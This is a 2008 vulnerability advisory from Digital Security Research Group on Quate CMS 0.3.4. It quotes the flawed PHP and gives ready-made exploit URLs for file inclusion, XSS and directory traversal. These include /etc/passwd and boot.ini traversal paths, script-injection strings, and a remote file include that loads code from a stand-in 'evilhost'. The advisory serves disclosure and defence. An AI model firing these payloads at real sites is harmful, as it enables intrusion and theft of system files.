Digital Security Research Group [DSecRG] Advisory #DSECRG-08-024

Application: Quate CMS
Versions Affected: 0.3.4
Vendor URL: http://www.quate.net/
Bugs: RFI, Multiple LFI, Directory traversal, Multiple XSS
Exploits: YES
Reported: 18.03.2008
Second report: 25.03.2008
Vendor response: NONE
Solution: NONE
Date of Public Advisory: 23.05.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

Quate CMS system has multiple security vulnerabilities:

1. Multiple Remote/Local File Include
2. Multiple Linked XSS vulnerabilities
3. Directory traversal

Details
*******

1. Quate CMS has Multiple Local File Include vulnerabilities.

1.1 Local File Include vulnerability found in script admin/includes/footer.php

Code
****
#################################################

if ($not_logged_in != 1) {
if (file_exists("includes/themes/" .$row_secure['account_theme']. "/footer.php")) {
require_once("themes/" .$row_secure['account_theme']. "/footer.php");
} else {
require_once("themes/" .$admin_template_default. "/footer.php");
}
} else {
require_once("themes/" .$admin_template_default. "/footer.php");
}

#################################################

Example:

http://[server]/[installdir]/admin/includes/footer.php?admin_template_de
fault=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/includes/footer.php?row_secure[accoun
t_theme]=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/includes/footer.php?not_logged_in=1&a
dmin_template_default=../../../../../../../../../../../../../etc/passwd%
00

1.2 Remote and Local File Include vulnerability found in script admin/includes/header.php

Code
****
#################################################

if ($bypass_installed != 1) {
if (!is_file("../includes/installed")) {
...
require("../includes/simple_gui.php");
exit();
}
}

if ($bypass_restrict != 1) {
require_once($secure_page_path. "includes/secure.php");
}

$admin_template_default = "default";
if ($not_logged_in != 1) {
//echo $row_secure['account_theme'];
if (file_exists("includes/themes/" .$row_secure['account_theme']. "/header.php")) {
require_once("themes/" .$row_secure['account_theme']. "/header.php");
} else {
require_once("themes/" .$admin_template_default. "/header.php");
}
} else {
require_once("themes/" .$admin_template_default. "/header.php");
}

#################################################

Example:

http://[server]/[installdir]/admin/includes/header.php?bypass_installed=
1&secure_page_path=http://evilhost/info.php%00
http://[server]/[installdir]/admin/includes/header.php?bypass_installed=
1&bypass_restrict=1&row_secure[account_theme]=../../../../../../../../..
/../../../../etc/passwd%00

---------------------------------------------------------------------

2. Linked XSS in Path vulnerability found in following pages:

/admin/index.php
/admin/login.php
/admin/credits.php
/upgrade/index.php

Example:

http://[server]/[installdir]/admin/login.php/"><script>alert("DSecRG XSS")</script>
http://[server]/[installdir]/upgrade/index.php/"><IMG SRC="javascript:alert('DSecRG XSS')

---------------------------------------------------------------------

3. File Manager directory traversal

Administrator can access system files outside htdocs directory using directory traversal vulnerability.

http://[server]/[installdir]/admin/filemanager.php?type=edit&dir=/../../
../../../../../../..&file=boot.ini

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

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